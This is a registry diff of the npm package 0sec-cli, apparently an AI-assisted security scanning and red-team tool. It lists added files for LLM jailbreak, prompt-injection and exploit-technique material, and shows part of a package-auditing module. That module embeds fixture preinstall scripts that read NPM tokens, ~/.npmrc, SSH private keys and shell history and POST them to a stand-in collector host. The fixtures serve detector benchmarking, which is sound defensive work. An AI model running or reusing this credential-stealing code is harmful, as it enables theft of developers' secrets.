0sec-cli 0.15.0 → 0.18.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +327 -0
- package/README.md +68 -48
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-SMH6V4PD.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
- package/chunks/assumption-mining-5SNIVVDN.js +79 -0
- package/chunks/chunk-242TMK6G.js +110 -0
- package/chunks/chunk-2JCCA2JL.js +381 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-3KPWWJCI.js +1422 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-5JI7L7KV.js +74240 -0
- package/chunks/chunk-6L26OBWI.js +1094 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-72CISA2D.js +2597 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-AD7WXDH6.js +3250 -0
- package/chunks/chunk-ADOLI6DT.js +102 -0
- package/chunks/chunk-AHTBZC3E.js +596 -0
- package/chunks/chunk-ASUR522M.js +518 -0
- package/chunks/chunk-ATATQACO.js +471 -0
- package/chunks/chunk-BATRQBOR.js +1732 -0
- package/chunks/chunk-BFR2CDV5.js +5735 -0
- package/chunks/chunk-BFRB6HB2.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-BVAZO4WA.js +193 -0
- package/chunks/chunk-BZNEY2ZS.js +33225 -0
- package/chunks/chunk-C2WXWFBB.js +1070 -0
- package/chunks/chunk-CMKXP5RR.js +917 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-GMT2AZKM.js +2439 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-JQHOLLTD.js +3729 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-N7BOUYEV.js +852 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SVJEDVYK.js +808 -0
- package/chunks/chunk-TSK2AG6J.js +5108 -0
- package/chunks/chunk-U5FLXGHT.js +2010 -0
- package/chunks/chunk-UCYRA73C.js +662 -0
- package/chunks/chunk-UR4ELX2Y.js +4784 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WEBMRWEG.js +9337 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-WXQ6BJ6A.js +596 -0
- package/chunks/chunk-XM5NLHYU.js +600 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/chunk-YYRBQVFE.js +2572 -0
- package/chunks/chunk-Z5FA2XOX.js +2798 -0
- package/chunks/commands-TBC2F5CE.js +16999 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-NU63MYZM.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-KFWOAUUB.js +16 -0
- package/chunks/disclose-EKTWSCGW.js +132 -0
- package/chunks/dist-4MAW5X6L.js +74 -0
- package/chunks/dist-4YICS2J2.js +2776 -0
- package/chunks/dist-FMGSR3DW.js +159 -0
- package/chunks/eval-runner-7ZF472KV.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-45YQOHPJ.js +98 -0
- package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
- package/chunks/exploit-climb-SG23KB2G.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-7ODOLOWU.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-MMKUOETU.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
- package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-RJCJPOUS.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-OC2VZN2X.js +62 -0
- package/chunks/pipeline-BZK5BLJR.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-LQRCS5OY.js +13 -0
- package/chunks/replay-runner-45G3VU7X.js +39 -0
- package/chunks/run-D56MPDKY.js +32716 -0
- package/chunks/runtime-G7YWIO3B.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-GZ4A4KYT.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-YERCYMPD.js +13 -0
- package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,1167 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
bufferToString
|
|
6
|
+
} from "./chunk-DW5UWPFY.js";
|
|
7
|
+
|
|
8
|
+
// packages/core/dist/prepare.js
|
|
9
|
+
import { execFileSync as execFileSync2 } from "node:child_process";
|
|
10
|
+
import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs";
|
|
11
|
+
import { join as join3, basename } from "node:path";
|
|
12
|
+
import { randomUUID as randomUUID2 } from "node:crypto";
|
|
13
|
+
import { tmpdir as tmpdir2 } from "node:os";
|
|
14
|
+
|
|
15
|
+
// packages/core/dist/package-ecosystems.js
|
|
16
|
+
import { execFileSync, execSync } from "node:child_process";
|
|
17
|
+
import { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
|
|
18
|
+
import { join as join2 } from "node:path";
|
|
19
|
+
import { randomUUID } from "node:crypto";
|
|
20
|
+
import { tmpdir } from "node:os";
|
|
21
|
+
|
|
22
|
+
// packages/core/dist/historical-package-fallback.js
|
|
23
|
+
import { mkdirSync, writeFileSync } from "node:fs";
|
|
24
|
+
import { dirname, join } from "node:path";
|
|
25
|
+
function fixturePackageJson(name, version, scriptName) {
|
|
26
|
+
return `${JSON.stringify({
|
|
27
|
+
name,
|
|
28
|
+
version,
|
|
29
|
+
description: "Curated historical malicious-package fixture for benchmark fallback",
|
|
30
|
+
scripts: {
|
|
31
|
+
preinstall: `node ${scriptName}`
|
|
32
|
+
}
|
|
33
|
+
}, null, 2)}
|
|
34
|
+
`;
|
|
35
|
+
}
|
|
36
|
+
var HISTORICAL_PACKAGE_FIXTURES = {
|
|
37
|
+
ngfm: {
|
|
38
|
+
version: "1.0.0-historical-fixture",
|
|
39
|
+
source: "Curated local fixture preserving the reported preinstall data-exfil shape after npm registry removal.",
|
|
40
|
+
files: {
|
|
41
|
+
"package.json": fixturePackageJson("ngfm", "1.0.0-historical-fixture", "preinstall.js"),
|
|
42
|
+
"preinstall.js": [
|
|
43
|
+
"const https = require('https');",
|
|
44
|
+
"const child_process = require('child_process');",
|
|
45
|
+
"const token = process.env.NPM_TOKEN || '';",
|
|
46
|
+
"const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();",
|
|
47
|
+
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
|
|
48
|
+
].join("\n")
|
|
49
|
+
}
|
|
50
|
+
},
|
|
51
|
+
"rocketrefer": {
|
|
52
|
+
version: "1.0.0-historical-fixture",
|
|
53
|
+
source: "Curated local fixture preserving the reported credential-stealer install-hook shape after npm registry removal.",
|
|
54
|
+
files: {
|
|
55
|
+
"package.json": fixturePackageJson("rocketrefer", "1.0.0-historical-fixture", "preinstall.js"),
|
|
56
|
+
"preinstall.js": [
|
|
57
|
+
"const fs = require('fs');",
|
|
58
|
+
"const https = require('https');",
|
|
59
|
+
"const child_process = require('child_process');",
|
|
60
|
+
"const browser = fs.existsSync(process.env.HOME + '/.ssh/id_rsa') ? fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8') : '';",
|
|
61
|
+
"const history = child_process.execSync('cat ~/.bash_history 2>/dev/null || true').toString();",
|
|
62
|
+
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
|
|
63
|
+
].join("\n")
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
};
|
|
67
|
+
function shouldUseHistoricalPackageFallback(errorMessage) {
|
|
68
|
+
return /\bE404\b|\b404\b/i.test(errorMessage);
|
|
69
|
+
}
|
|
70
|
+
function restoreHistoricalPackageFixture(packageName, tempDir, emit) {
|
|
71
|
+
const fixture = HISTORICAL_PACKAGE_FIXTURES[packageName];
|
|
72
|
+
if (!fixture)
|
|
73
|
+
return null;
|
|
74
|
+
const packageDir = join(tempDir, "node_modules", packageName);
|
|
75
|
+
mkdirSync(packageDir, { recursive: true });
|
|
76
|
+
for (const [relativePath, content] of Object.entries(fixture.files)) {
|
|
77
|
+
const absPath = join(packageDir, relativePath);
|
|
78
|
+
mkdirSync(dirname(absPath), { recursive: true });
|
|
79
|
+
writeFileSync(absPath, content, "utf8");
|
|
80
|
+
}
|
|
81
|
+
emit?.({
|
|
82
|
+
type: "stage:end",
|
|
83
|
+
stage: "discovery",
|
|
84
|
+
message: `Restored ${packageName}@${fixture.version} from curated historical fixture cache`
|
|
85
|
+
});
|
|
86
|
+
return {
|
|
87
|
+
name: packageName,
|
|
88
|
+
version: fixture.version,
|
|
89
|
+
path: packageDir
|
|
90
|
+
};
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// packages/core/dist/package-ecosystems.js
|
|
94
|
+
function stderrLooksLikeEresolve(stderr) {
|
|
95
|
+
return /ERESOLVE/i.test(stderr);
|
|
96
|
+
}
|
|
97
|
+
function extractStderr(err) {
|
|
98
|
+
if (!err || typeof err !== "object")
|
|
99
|
+
return "";
|
|
100
|
+
const raw = err.stderr;
|
|
101
|
+
if (!raw)
|
|
102
|
+
return "";
|
|
103
|
+
if (typeof raw === "string")
|
|
104
|
+
return raw;
|
|
105
|
+
try {
|
|
106
|
+
return raw.toString("utf-8");
|
|
107
|
+
} catch {
|
|
108
|
+
return String(raw);
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
function normalizeSeverity(value) {
|
|
112
|
+
switch ((value ?? "").toLowerCase()) {
|
|
113
|
+
case "critical":
|
|
114
|
+
return "critical";
|
|
115
|
+
case "high":
|
|
116
|
+
return "high";
|
|
117
|
+
case "moderate":
|
|
118
|
+
case "medium":
|
|
119
|
+
return "medium";
|
|
120
|
+
case "low":
|
|
121
|
+
return "low";
|
|
122
|
+
default:
|
|
123
|
+
return "info";
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
function formatFixAvailable(fixAvailable) {
|
|
127
|
+
if (typeof fixAvailable === "string" || typeof fixAvailable === "boolean") {
|
|
128
|
+
return fixAvailable;
|
|
129
|
+
}
|
|
130
|
+
if (fixAvailable && typeof fixAvailable === "object") {
|
|
131
|
+
const next = [fixAvailable.name, fixAvailable.version].filter(Boolean).join("@");
|
|
132
|
+
return next || true;
|
|
133
|
+
}
|
|
134
|
+
return false;
|
|
135
|
+
}
|
|
136
|
+
function parseNpmAuditOutput(rawOutput) {
|
|
137
|
+
if (!rawOutput.trim())
|
|
138
|
+
return [];
|
|
139
|
+
try {
|
|
140
|
+
const raw = JSON.parse(rawOutput);
|
|
141
|
+
return Object.entries(raw.vulnerabilities ?? {}).map(([pkgName, vuln]) => {
|
|
142
|
+
const via = (vuln.via ?? []).map((entry) => {
|
|
143
|
+
if (typeof entry === "string")
|
|
144
|
+
return entry;
|
|
145
|
+
const source = typeof entry.source === "number" ? `GHSA:${entry.source}` : null;
|
|
146
|
+
const title = typeof entry.title === "string" ? entry.title : null;
|
|
147
|
+
const name = typeof entry.name === "string" ? entry.name : null;
|
|
148
|
+
return [name, title, source].filter(Boolean).join(" - ") || "unknown advisory";
|
|
149
|
+
});
|
|
150
|
+
const firstObjectVia = (vuln.via ?? []).find((entry) => typeof entry === "object" && entry !== null);
|
|
151
|
+
return {
|
|
152
|
+
name: vuln.name ?? pkgName,
|
|
153
|
+
severity: normalizeSeverity(vuln.severity),
|
|
154
|
+
title: typeof firstObjectVia?.title === "string" && firstObjectVia.title || via[0] || "npm audit advisory",
|
|
155
|
+
range: vuln.range,
|
|
156
|
+
source: typeof firstObjectVia?.source === "number" || typeof firstObjectVia?.source === "string" ? firstObjectVia.source : void 0,
|
|
157
|
+
url: typeof firstObjectVia?.url === "string" ? firstObjectVia.url : void 0,
|
|
158
|
+
via,
|
|
159
|
+
fixAvailable: formatFixAvailable(vuln.fixAvailable)
|
|
160
|
+
};
|
|
161
|
+
});
|
|
162
|
+
} catch {
|
|
163
|
+
return [];
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
function osvEcosystemName(ecosystem) {
|
|
167
|
+
if (ecosystem === "npm")
|
|
168
|
+
return "npm";
|
|
169
|
+
if (ecosystem === "pypi")
|
|
170
|
+
return "PyPI";
|
|
171
|
+
if (ecosystem === "cargo")
|
|
172
|
+
return "crates.io";
|
|
173
|
+
return null;
|
|
174
|
+
}
|
|
175
|
+
function parseCvssVectorSeverity(score) {
|
|
176
|
+
if (!score)
|
|
177
|
+
return void 0;
|
|
178
|
+
const match = score.match(/CVSS:\d\.\d\/[^/]*\/[^/]*\/[^/]*\/[^/]*\/[^/]*\/[^/]*\/[^/]*\/[^/]*\/([^/]+)/i);
|
|
179
|
+
const label = match?.[1]?.toUpperCase();
|
|
180
|
+
if (label === "CRITICAL")
|
|
181
|
+
return "critical";
|
|
182
|
+
if (label === "HIGH")
|
|
183
|
+
return "high";
|
|
184
|
+
if (label === "MEDIUM")
|
|
185
|
+
return "medium";
|
|
186
|
+
if (label === "LOW")
|
|
187
|
+
return "low";
|
|
188
|
+
return void 0;
|
|
189
|
+
}
|
|
190
|
+
function extractOsvSeverity(vuln) {
|
|
191
|
+
const databaseSeverity = vuln.database_specific?.severity;
|
|
192
|
+
if (typeof databaseSeverity === "string" && databaseSeverity.length > 0) {
|
|
193
|
+
return normalizeSeverity(databaseSeverity);
|
|
194
|
+
}
|
|
195
|
+
for (const severity of vuln.severity ?? []) {
|
|
196
|
+
const parsed = parseCvssVectorSeverity(severity.score);
|
|
197
|
+
if (parsed)
|
|
198
|
+
return parsed;
|
|
199
|
+
}
|
|
200
|
+
return "medium";
|
|
201
|
+
}
|
|
202
|
+
function extractOsvRange(vuln) {
|
|
203
|
+
const segments = [];
|
|
204
|
+
for (const affected of vuln.affected ?? []) {
|
|
205
|
+
for (const range of affected.ranges ?? []) {
|
|
206
|
+
if (range.type && range.type !== "SEMVER")
|
|
207
|
+
continue;
|
|
208
|
+
const events = (range.events ?? []).flatMap((event) => {
|
|
209
|
+
const parts = [];
|
|
210
|
+
if (event.introduced)
|
|
211
|
+
parts.push(`introduced:${event.introduced}`);
|
|
212
|
+
if (event.fixed)
|
|
213
|
+
parts.push(`fixed:${event.fixed}`);
|
|
214
|
+
if (event.last_affected)
|
|
215
|
+
parts.push(`last_affected:${event.last_affected}`);
|
|
216
|
+
return parts;
|
|
217
|
+
});
|
|
218
|
+
if (events.length > 0)
|
|
219
|
+
segments.push(events.join(","));
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
return segments.length > 0 ? segments.join(" | ") : void 0;
|
|
223
|
+
}
|
|
224
|
+
function extractOsvFix(vuln) {
|
|
225
|
+
for (const affected of vuln.affected ?? []) {
|
|
226
|
+
for (const range of affected.ranges ?? []) {
|
|
227
|
+
for (const event of range.events ?? []) {
|
|
228
|
+
if (event.fixed)
|
|
229
|
+
return event.fixed;
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
return false;
|
|
234
|
+
}
|
|
235
|
+
function parseOsvOutput(packageName, rawOutput) {
|
|
236
|
+
if (!rawOutput.trim())
|
|
237
|
+
return [];
|
|
238
|
+
try {
|
|
239
|
+
const parsed = JSON.parse(rawOutput);
|
|
240
|
+
return (parsed.vulns ?? []).map((vuln) => {
|
|
241
|
+
const aliases = [...new Set([vuln.id, ...vuln.aliases ?? []].filter(Boolean))];
|
|
242
|
+
const source = aliases[0];
|
|
243
|
+
return {
|
|
244
|
+
name: packageName,
|
|
245
|
+
severity: extractOsvSeverity(vuln),
|
|
246
|
+
title: typeof vuln.summary === "string" && vuln.summary.trim() || typeof vuln.details === "string" && vuln.details.trim().slice(0, 120) || source || "OSV advisory",
|
|
247
|
+
range: extractOsvRange(vuln),
|
|
248
|
+
source,
|
|
249
|
+
url: vuln.references?.find((ref) => typeof ref.url === "string")?.url,
|
|
250
|
+
via: aliases.length > 0 ? aliases : ["OSV"],
|
|
251
|
+
fixAvailable: extractOsvFix(vuln)
|
|
252
|
+
};
|
|
253
|
+
});
|
|
254
|
+
} catch {
|
|
255
|
+
return [];
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
function queryOsvAdvisoriesSync(ecosystem, packageName, version) {
|
|
259
|
+
const osvEcosystem = osvEcosystemName(ecosystem);
|
|
260
|
+
if (!osvEcosystem || !packageName || !version || version === "unknown")
|
|
261
|
+
return [];
|
|
262
|
+
const body = JSON.stringify({
|
|
263
|
+
package: {
|
|
264
|
+
ecosystem: osvEcosystem,
|
|
265
|
+
name: packageName
|
|
266
|
+
},
|
|
267
|
+
version
|
|
268
|
+
});
|
|
269
|
+
try {
|
|
270
|
+
const rawOutput = execFileSync("curl", [
|
|
271
|
+
"-fsSL",
|
|
272
|
+
"--retry",
|
|
273
|
+
"3",
|
|
274
|
+
"--retry-all-errors",
|
|
275
|
+
"--retry-delay",
|
|
276
|
+
"1",
|
|
277
|
+
"--connect-timeout",
|
|
278
|
+
"20",
|
|
279
|
+
"-X",
|
|
280
|
+
"POST",
|
|
281
|
+
"-H",
|
|
282
|
+
"Content-Type: application/json",
|
|
283
|
+
"--data-binary",
|
|
284
|
+
"@-",
|
|
285
|
+
"https://api.osv.dev/v1/query"
|
|
286
|
+
], {
|
|
287
|
+
input: body,
|
|
288
|
+
encoding: "utf8",
|
|
289
|
+
timeout: 6e4,
|
|
290
|
+
stdio: ["pipe", "pipe", "ignore"]
|
|
291
|
+
});
|
|
292
|
+
return parseOsvOutput(packageName, rawOutput);
|
|
293
|
+
} catch {
|
|
294
|
+
return [];
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
function splitPackageSpec(rawPackageName, requestedVersion) {
|
|
298
|
+
let packageName = rawPackageName;
|
|
299
|
+
let version = requestedVersion;
|
|
300
|
+
const atIdx = rawPackageName.startsWith("@") ? rawPackageName.indexOf("@", 1) : rawPackageName.indexOf("@");
|
|
301
|
+
if (atIdx > 0) {
|
|
302
|
+
packageName = rawPackageName.slice(0, atIdx);
|
|
303
|
+
version = version ?? rawPackageName.slice(atIdx + 1);
|
|
304
|
+
}
|
|
305
|
+
return { packageName, version };
|
|
306
|
+
}
|
|
307
|
+
function writeMinimalPackageJson(tempDir) {
|
|
308
|
+
execFileSync("npm", ["init", "-y", "--silent"], {
|
|
309
|
+
cwd: tempDir,
|
|
310
|
+
timeout: 15e3,
|
|
311
|
+
stdio: "pipe"
|
|
312
|
+
});
|
|
313
|
+
}
|
|
314
|
+
function restoreNpmFixtureOrThrow(packageName, tempDir, msg, emit) {
|
|
315
|
+
if (shouldUseHistoricalPackageFallback(msg)) {
|
|
316
|
+
const restored = restoreHistoricalPackageFixture(packageName, tempDir, emit);
|
|
317
|
+
if (restored) {
|
|
318
|
+
return {
|
|
319
|
+
ecosystem: "npm",
|
|
320
|
+
...restored,
|
|
321
|
+
tempDir
|
|
322
|
+
};
|
|
323
|
+
}
|
|
324
|
+
}
|
|
325
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
326
|
+
throw new Error(msg);
|
|
327
|
+
}
|
|
328
|
+
function installNpmPackage(packageName, requestedVersion, emit) {
|
|
329
|
+
const tempDir = join2(tmpdir(), `0sec-audit-${randomUUID().slice(0, 8)}`);
|
|
330
|
+
mkdirSync2(tempDir, { recursive: true });
|
|
331
|
+
const spec = requestedVersion ? `${packageName}@${requestedVersion}` : `${packageName}@latest`;
|
|
332
|
+
emit({ type: "stage:start", stage: "discovery", message: `Installing ${spec}...` });
|
|
333
|
+
try {
|
|
334
|
+
writeMinimalPackageJson(tempDir);
|
|
335
|
+
try {
|
|
336
|
+
execFileSync("npm", ["install", spec, "--ignore-scripts", "--no-audit", "--no-fund"], {
|
|
337
|
+
cwd: tempDir,
|
|
338
|
+
timeout: 12e4,
|
|
339
|
+
stdio: "pipe"
|
|
340
|
+
});
|
|
341
|
+
} catch (firstErr) {
|
|
342
|
+
const firstStderr = extractStderr(firstErr);
|
|
343
|
+
if (!stderrLooksLikeEresolve(firstStderr)) {
|
|
344
|
+
throw firstErr;
|
|
345
|
+
}
|
|
346
|
+
emit({
|
|
347
|
+
type: "stage:start",
|
|
348
|
+
stage: "discovery",
|
|
349
|
+
message: `npm install ${spec} hit ERESOLVE peer conflict \u2014 retrying with --legacy-peer-deps`
|
|
350
|
+
});
|
|
351
|
+
execFileSync("npm", ["install", "--legacy-peer-deps", spec, "--ignore-scripts", "--no-audit", "--no-fund"], {
|
|
352
|
+
cwd: tempDir,
|
|
353
|
+
timeout: 12e4,
|
|
354
|
+
stdio: "pipe"
|
|
355
|
+
});
|
|
356
|
+
emit({
|
|
357
|
+
type: "stage:end",
|
|
358
|
+
